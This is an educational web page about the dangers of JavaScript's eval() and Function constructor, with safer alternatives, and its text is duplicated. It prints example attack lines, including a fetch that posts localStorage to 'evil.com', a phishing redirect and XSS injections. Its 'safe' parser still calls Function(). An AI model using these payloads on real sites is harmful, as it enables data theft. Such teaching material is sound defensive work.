JavaScript Security

eval() & Function Constructor

Understanding dynamic code execution and security risks

Find videos you like?

Save to resource drawer for future reference!

⚠️ Security Critical

eval() is dangerous! Never use it with untrusted input. It executes arbitrary code and can lead to security vulnerabilities, XSS attacks, and code injection. Modern JavaScript provides safer alternatives.

What is eval()?

eval() executes a string as JavaScript code. While powerful, it's extremely dangerous and should be avoided in production code.

Example 1: Basic eval() Usage

How eval() works (don't use in production!)

javascript

code

DarkEditable

Console Output

Click "Run Code" to see output here...

Security Risks of eval()

Why eval() is dangerous

🔓Code Injection

Attacker can inject malicious code

// User input: "'; alert('XSS'); ''"
eval("message = '" + userInput + "'");
// Executes alert('XSS')!

🔐Data Theft

Access to all variables and data

// Attacker input:
const attack = "fetch('evil.com', {
  method: 'POST',
  body: JSON.stringify(localStorage)
})";
eval(attack); // Sends all data!

⚡Performance Issues

Prevents optimization

// Cannot be optimized by JS engine
for (let i = 0; i < 1000; i++) {
  eval('const x = i * 2');
}
// Very slow!

🐛Hard to Debug

Stack traces are unclear

try {
  eval('undefinedFunc()');
} catch (e) {
  console.log(e.stack);
  // Cryptic stack trace!
}

Example 2: Real Attack Scenarios

What attackers can do with eval()

javascript

code

DarkEditable

Console Output

Click "Run Code" to see output here...

Function Constructor

Similar to eval() - also dangerous

Also Dangerous!

Function constructor has the same security risks as eval(). Avoid using it with untrusted input.

⚠️ Function Constructor

// Creating function from string
const fn = new Function('a', 'b', 
  'return a + b'
);

console.log(fn(2, 3)); // 5

// Same security issues as eval!
const userCode = "alert('XSS')";
const dangerous = new Function(userCode);
dangerous(); // Executes attack!

❌ Same Security Risks

// All eval() attacks work here too!
const attack1 = new Function(
  "fetch('evil.com')"
);

const attack2 = new Function(
  "window.location='phishing.com'"
);

// Never use with user input!

Example 3: Function Constructor Examples

How it works (still dangerous!)

javascript

code

DarkEditable

Console Output

Click "Run Code" to see output here...

Safe Alternatives to eval()

Modern, secure solutions

1. JSON.parse() for Data

// ❌ BAD: Using eval for JSON
const data = eval('(' + jsonString + ')');

// ✅ GOOD: Use JSON.parse
const data = JSON.parse(jsonString);

2. Object Property Access

// ❌ BAD: Using eval
const value = eval('obj.' + property);

// ✅ GOOD: Use bracket notation
const value = obj[property];

3. Template Literals

// ❌ BAD: Eval for string construction
const msg = eval(`"Hello, " + name + "!"`);

// ✅ GOOD: Use template literals
const msg = `Hello, ${name}!`;

4. Switch/Object Map for Logic

// ❌ BAD: Eval for operations
const result = eval(`${a} ${operator} ${b}`);

// ✅ GOOD: Use object map
const operations = {
  '+': (a, b) => a + b,
  '-': (a, b) => a - b,
  '*': (a, b) => a * b,
  '/': (a, b) => a / b
};
const result = operations[operator](a, b);

Example 4: Safe Calculator Implementation

Building a calculator without eval()

javascript

code

DarkEditable

// ❌ UNSAFE: Calculator with eval
function unsafeCalculator(expression) {
  return eval(expression); // NEVER DO THIS!
}

// ✅ SAFE: Calculator with operation map
function safeCalculator(a, operator, b) {
  // Validate inputs
  if (typeof a !== 'number' || typeof b !== 'number') {
    throw new Error('Operands must be numbers');
  }
  
  // Whitelist of operations
  const operations = {
    '+': (x, y) => x + y,
    '-': (x, y) => x - y,
    '*': (x, y) => x * y,
    '/': (x, y) => {
      if (y === 0) throw new Error('Division by zero');
      return x / y;
    },
    '%': (x, y) => x % y,
    '**': (x, y) => x ** y
  };
  
  // Check if operation is allowed
  if (!operations[operator]) {
    throw new Error('Invalid operator');
  }
  
  return operations[operator](a, b);
}

// Usage
console.log(safeCalculator(10, '+', 5));  // 15
console.log(safeCalculator(10, '*', 5));  // 50
console.log(safeCalculator(10, '/', 2));  // 5

// Safely handles invalid input
try {
  safeCalculator(10, 'alert', 5); // Throws error
} catch (e) {
  console.error(e.message); // Invalid operator
}

Console Output

Click "Run Code" to see output here...

Example 5: Safe Expression Parser

Parse and evaluate math expressions safely

javascript

code

DarkEditable

// Safe expression parser (simple version)
function parseExpression(expr) {
  // Remove whitespace
  expr = expr.replace(/\s+/g, '');
  
  // Validate: only numbers and operators
  if (!/^[\d+\-*/().]+$/.test(expr)) {
    throw new Error('Invalid characters in expression');
  }
  
  // Parse and calculate
  return Function('"use strict"; return (' + expr + ')')();
}

// Better: Use a proper math parser library
// Like: math.js, expr-eval, etc.

// Example with validation
function safeEvaluate(expr) {
  // Whitelist approach
  const allowedChars = /^[\d+\-*/().\s]+$/;
  
  if (!allowedChars.test(expr)) {
    throw new Error('Expression contains invalid characters');
  }
  
  // Limit length to prevent DoS
  if (expr.length > 100) {
    throw new Error('Expression too long');
  }
  
  try {
    // Use Function (still risky, but more controlled)
    return Function('"use strict"; return (' + expr + ')')();
  } catch (e) {
    throw new Error('Invalid expression: ' + e.message);
  }
}

// Usage
console.log(safeEvaluate('2 + 2'));      // 4
console.log(safeEvaluate('(10 + 5) * 2')); // 30

// Rejects dangerous input
try {
  safeEvaluate('alert(1)'); // Throws error
} catch (e) {
  console.error(e.message);
}

Console Output

Click "Run Code" to see output here...

Example 6: Sandboxed Execution (Advanced)

Using Web Workers for isolation (most secure)

javascript

code

DarkEditable

// Create sandboxed execution environment
function executeSandboxed(code) {
  return new Promise((resolve, reject) => {
    // Create worker from blob
    const workerCode = `
      self.onmessage = function(e) {
        try {
          const result = Function(e.data)();
          self.postMessage({ success: true, result });
        } catch (error) {
          self.postMessage({ success: false, error: error.message });
        }
      };
    `;
    
    const blob = new Blob([workerCode], { type: 'application/javascript' });
    const worker = new Worker(URL.createObjectURL(blob));
    
    // Set timeout
    const timeout = setTimeout(() => {
      worker.terminate();
      reject(new Error('Execution timeout'));
    }, 5000);
    
    worker.onmessage = (e) => {
      clearTimeout(timeout);
      worker.terminate();
      
      if (e.data.success) {
        resolve(e.data.result);
      } else {
        reject(new Error(e.data.error));
      }
    };
    
    worker.onerror = (error) => {
      clearTimeout(timeout);
      worker.terminate();
      reject(error);
    };
    
    worker.postMessage(code);
  });
}

// Usage
executeSandboxed('return 2 + 2')
  .then(result => console.log('Result:', result)) // 4
  .catch(error => console.error('Error:', error));

// Worker has no access to:
// - DOM
// - Main thread variables
// - localStorage
// - Cookies
// Much safer!

Console Output

Click "Run Code" to see output here...

When eval() Might Be Acceptable

Very rare, controlled scenarios only

Strict Requirements

Only consider eval() if ALL of these are true:

Code is completely under your control (no user input)

You're building a code playground/REPL (like JSFiddle)

Running in an isolated sandbox (Web Worker, iframe)

You have no alternative (extremely rare)

Examples: Browser DevTools console, online code editors (CodePen, JSBin), Node.js REPL

Security Best Practices

Protect your application

❌ Never Do This

• Never use eval() with user input
• Never trust client-side validation
• Never execute unvalidated code
• Never use new Function() with user input

✅ Always Do This

• Use JSON.parse() for data
• Use bracket notation for dynamic properties
• Validate and sanitize all inputs
• Use whitelist approach for operations
• Implement Content Security Policy (CSP)
• Use sandboxed environments (Workers) if needed

Key Takeaways

🚨

eval() is Dangerous

Never use with user input
Causes security vulnerabilities

⚠️

Function Constructor Too

Same risks as eval()
Avoid in production code

✅

Use Safe Alternatives

JSON.parse(), bracket notation
Template literals, object maps

🛡️

Security First

Always validate input
Use CSP and sandboxing

Critical Security Rule

NEVER use eval() or new Function() with any user-provided input. Period. No exceptions. Use modern, safe alternatives instead.

Previous Topic

Property Access

Dot notation vs bracket notation and dynamic properties.

Next Topic

Garbage Collection

How JavaScript manages memory automatically.

Ask a Question

Have a question about eval() & Function Constructor? Ask our AI assistant.

🔐 Login to use AI Assistant

JavaScript Code Editor

Write and experiment with JavaScript code.

Output

Click "Run Code" to see the output.

JavaScript Security

eval() & Function Constructor

Understanding dynamic code execution and security risks

Find videos you like?

Save to resource drawer for future reference!

⚠️ Security Critical

What is eval()?

eval() executes a string as JavaScript code. While powerful, it's extremely dangerous and should be avoided in production code.

Example 1: Basic eval() Usage

How eval() works (don't use in production!)

javascript

code

DarkEditable

Console Output

Click "Run Code" to see output here...

Security Risks of eval()

Why eval() is dangerous

🔓Code Injection

Attacker can inject malicious code

// User input: "'; alert('XSS'); ''"
eval("message = '" + userInput + "'");
// Executes alert('XSS')!

🔐Data Theft

Access to all variables and data

// Attacker input:
const attack = "fetch('evil.com', {
  method: 'POST',
  body: JSON.stringify(localStorage)
})";
eval(attack); // Sends all data!

⚡Performance Issues

Prevents optimization

// Cannot be optimized by JS engine
for (let i = 0; i < 1000; i++) {
  eval('const x = i * 2');
}
// Very slow!

🐛Hard to Debug

Stack traces are unclear

try {
  eval('undefinedFunc()');
} catch (e) {
  console.log(e.stack);
  // Cryptic stack trace!
}

Example 2: Real Attack Scenarios

What attackers can do with eval()

javascript

code

DarkEditable

Console Output

Click "Run Code" to see output here...

Function Constructor

Similar to eval() - also dangerous

Also Dangerous!

Function constructor has the same security risks as eval(). Avoid using it with untrusted input.

⚠️ Function Constructor

// Creating function from string
const fn = new Function('a', 'b', 
  'return a + b'
);

console.log(fn(2, 3)); // 5

// Same security issues as eval!
const userCode = "alert('XSS')";
const dangerous = new Function(userCode);
dangerous(); // Executes attack!

❌ Same Security Risks

// All eval() attacks work here too!
const attack1 = new Function(
  "fetch('evil.com')"
);

const attack2 = new Function(
  "window.location='phishing.com'"
);

// Never use with user input!

Example 3: Function Constructor Examples

How it works (still dangerous!)

javascript

code

DarkEditable

Console Output

Click "Run Code" to see output here...

Safe Alternatives to eval()

Modern, secure solutions

1. JSON.parse() for Data

// ❌ BAD: Using eval for JSON
const data = eval('(' + jsonString + ')');

// ✅ GOOD: Use JSON.parse
const data = JSON.parse(jsonString);

2. Object Property Access

// ❌ BAD: Using eval
const value = eval('obj.' + property);

// ✅ GOOD: Use bracket notation
const value = obj[property];

3. Template Literals

// ❌ BAD: Eval for string construction
const msg = eval(`"Hello, " + name + "!"`);

// ✅ GOOD: Use template literals
const msg = `Hello, ${name}!`;

4. Switch/Object Map for Logic

// ❌ BAD: Eval for operations
const result = eval(`${a} ${operator} ${b}`);

// ✅ GOOD: Use object map
const operations = {
  '+': (a, b) => a + b,
  '-': (a, b) => a - b,
  '*': (a, b) => a * b,
  '/': (a, b) => a / b
};
const result = operations[operator](a, b);

Example 4: Safe Calculator Implementation

Building a calculator without eval()

javascript

code

DarkEditable

// ❌ UNSAFE: Calculator with eval
function unsafeCalculator(expression) {
  return eval(expression); // NEVER DO THIS!
}

// Usage
console.log(safeCalculator(10, '+', 5));  // 15
console.log(safeCalculator(10, '*', 5));  // 50
console.log(safeCalculator(10, '/', 2));  // 5

// Safely handles invalid input
try {
  safeCalculator(10, 'alert', 5); // Throws error
} catch (e) {
  console.error(e.message); // Invalid operator
}

Console Output

Click "Run Code" to see output here...

Example 5: Safe Expression Parser

Parse and evaluate math expressions safely

javascript

code

DarkEditable

// Better: Use a proper math parser library
// Like: math.js, expr-eval, etc.

// Usage
console.log(safeEvaluate('2 + 2'));      // 4
console.log(safeEvaluate('(10 + 5) * 2')); // 30

// Rejects dangerous input
try {
  safeEvaluate('alert(1)'); // Throws error
} catch (e) {
  console.error(e.message);
}

Console Output

Click "Run Code" to see output here...

Example 6: Sandboxed Execution (Advanced)

Using Web Workers for isolation (most secure)

javascript

code

DarkEditable

// Usage
executeSandboxed('return 2 + 2')
  .then(result => console.log('Result:', result)) // 4
  .catch(error => console.error('Error:', error));

// Worker has no access to:
// - DOM
// - Main thread variables
// - localStorage
// - Cookies
// Much safer!

Console Output

Click "Run Code" to see output here...

When eval() Might Be Acceptable

Very rare, controlled scenarios only

Strict Requirements

Only consider eval() if ALL of these are true:

Code is completely under your control (no user input)

You're building a code playground/REPL (like JSFiddle)

Running in an isolated sandbox (Web Worker, iframe)

You have no alternative (extremely rare)

Examples: Browser DevTools console, online code editors (CodePen, JSBin), Node.js REPL

Security Best Practices

Protect your application

❌ Never Do This

• Never use eval() with user input
• Never trust client-side validation
• Never execute unvalidated code
• Never use new Function() with user input

✅ Always Do This

• Use JSON.parse() for data
• Use bracket notation for dynamic properties
• Validate and sanitize all inputs
• Use whitelist approach for operations
• Implement Content Security Policy (CSP)
• Use sandboxed environments (Workers) if needed

Key Takeaways

🚨

eval() is Dangerous

Never use with user input
Causes security vulnerabilities

⚠️

Function Constructor Too

Same risks as eval()
Avoid in production code

✅

Use Safe Alternatives

JSON.parse(), bracket notation
Template literals, object maps

🛡️

Security First

Always validate input
Use CSP and sandboxing

Critical Security Rule

NEVER use eval() or new Function() with any user-provided input. Period. No exceptions. Use modern, safe alternatives instead.

Coder Pod - Learn Programming Online | AI Coding Tutor & Interview Practice

Property Access

Garbage Collection

JavaScript Code Editor

Building Your Learning Module...

eval() & Function Constructor

⚠️ Security Critical

What is eval()?

Example 1: Basic eval() Usage

🔓Code Injection

🔐Data Theft

⚡Performance Issues

🐛Hard to Debug

Example 2: Real Attack Scenarios

Also Dangerous!

⚠️ Function Constructor

❌ Same Security Risks

Example 3: Function Constructor Examples

1. JSON.parse() for Data

2. Object Property Access

3. Template Literals

4. Switch/Object Map for Logic

Example 4: Safe Calculator Implementation

Example 5: Safe Expression Parser

Example 6: Sandboxed Execution (Advanced)

Strict Requirements

❌ Never Do This

✅ Always Do This

Key Takeaways

eval() is Dangerous

Function Constructor Too

Use Safe Alternatives

Security First

Critical Security Rule

Property Access

Garbage Collection

JavaScript Code Editor

eval() & Function Constructor

⚠️ Security Critical

What is eval()?

Example 1: Basic eval() Usage

🔓Code Injection

🔐Data Theft

⚡Performance Issues

🐛Hard to Debug

Example 2: Real Attack Scenarios

Also Dangerous!

⚠️ Function Constructor

❌ Same Security Risks

Example 3: Function Constructor Examples

1. JSON.parse() for Data

2. Object Property Access

3. Template Literals

4. Switch/Object Map for Logic

Example 4: Safe Calculator Implementation

Example 5: Safe Expression Parser

Example 6: Sandboxed Execution (Advanced)

Strict Requirements

❌ Never Do This

✅ Always Do This

Key Takeaways

eval() is Dangerous

Function Constructor Too

Use Safe Alternatives

Security First

Critical Security Rule